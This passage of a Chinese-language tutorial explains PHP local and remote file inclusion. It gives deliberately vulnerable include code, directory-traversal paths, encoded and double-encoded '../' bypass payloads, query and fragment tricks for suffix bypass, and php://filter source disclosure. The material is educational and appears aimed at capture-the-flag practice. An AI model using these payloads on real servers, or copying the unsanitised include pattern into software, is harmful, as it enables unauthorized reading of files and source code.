<?php
error_reporting(0);
$file = $_GET["file"];
//前缀
include "/var/www/html/".$file;
highlight_file(__FILE__);
?>
现在在/var/log目录下有文件flag.txt,则利用…/可以进行目录遍历,比如我们尝试访问:
include.php?file=../../log/flag.txt
则服务器端实际拼接出来的路径为:/var/www/html/../../log/test.txt,即 /var/log/flag.txt,从而包含成功。
(2)编码绕过
服务器端常常会对于../等做一些过滤,可以用一些编码来进行绕过。
1.利用url编码
../
%2e%2e%2f
..%2f
%2e%2e/
..\
%2e%2e%5c
..%5c
%2e%2e\
2.二次编码
../
%252e%252e%252f
..\
%252e%252e%255c
3.容器/服务器的编码方式
../
..%c0%af
注:Why does Directory traversal attack %C0%AF work?
%c0%ae%c0%ae/
注:java中会把”%c0%ae”解析为”\uC0AE”,最后转义为ASCCII字符的 ” . "
..\
..%c1%9c
2. 指定后缀绕过
后缀绕过测试代码如下,下述各后缀绕过方法均使用此代码:
<?php
error_reporting(0);
$file = $_GET["file"];
//后缀
include $file.".txt";
highlight_file(__FILE__);
?>
(1)利用url
在远程文件包含漏洞(RFI)中,可以利用query或fragment来绕过后缀限制。
可参考此文章:URI’s fragment
完整url格式:
protocol :// hostname[:port] / path / [;parameters][?query]#fragment
query(?)
[访问参数] ?file=http://localhost:8081/phpinfo.php?
[拼接后] ?file=http://localhost:8081/phpinfo.php?.txt
Example:(设在根目录下有flag2.txt文件)
fragment(#)
[访问参数] ?file=http://localhost:8081/phpinfo.php%23
[拼接后] ?file=http://localhost:8081/phpinfo.php#.txt
Example:(设在根目录下有flag2.txt文件)
(2)利用协议
PHP 带有很多内置 URL 风格的封装协议,可用于类似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系统函数。 除了这些封装协议,还能通过 stream_wrapper_register() 来注册自定义的封装协议。
目录 php:// 输入输出流PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。
php://filter(本地磁盘文件进行读取)元封装器,设计用于”数据流打开”时的”筛选过滤”应用,对本地磁盘文件进行读写。
用法:?filename=php://filter/convert.base64-encode/resource=xxx.php ?filename=php://filter/read=convert.base64-encode/resource=xxx.php 一样。
条件:只是读取,需要开启 allow_url_fopen,不需要开启 allow_url_include;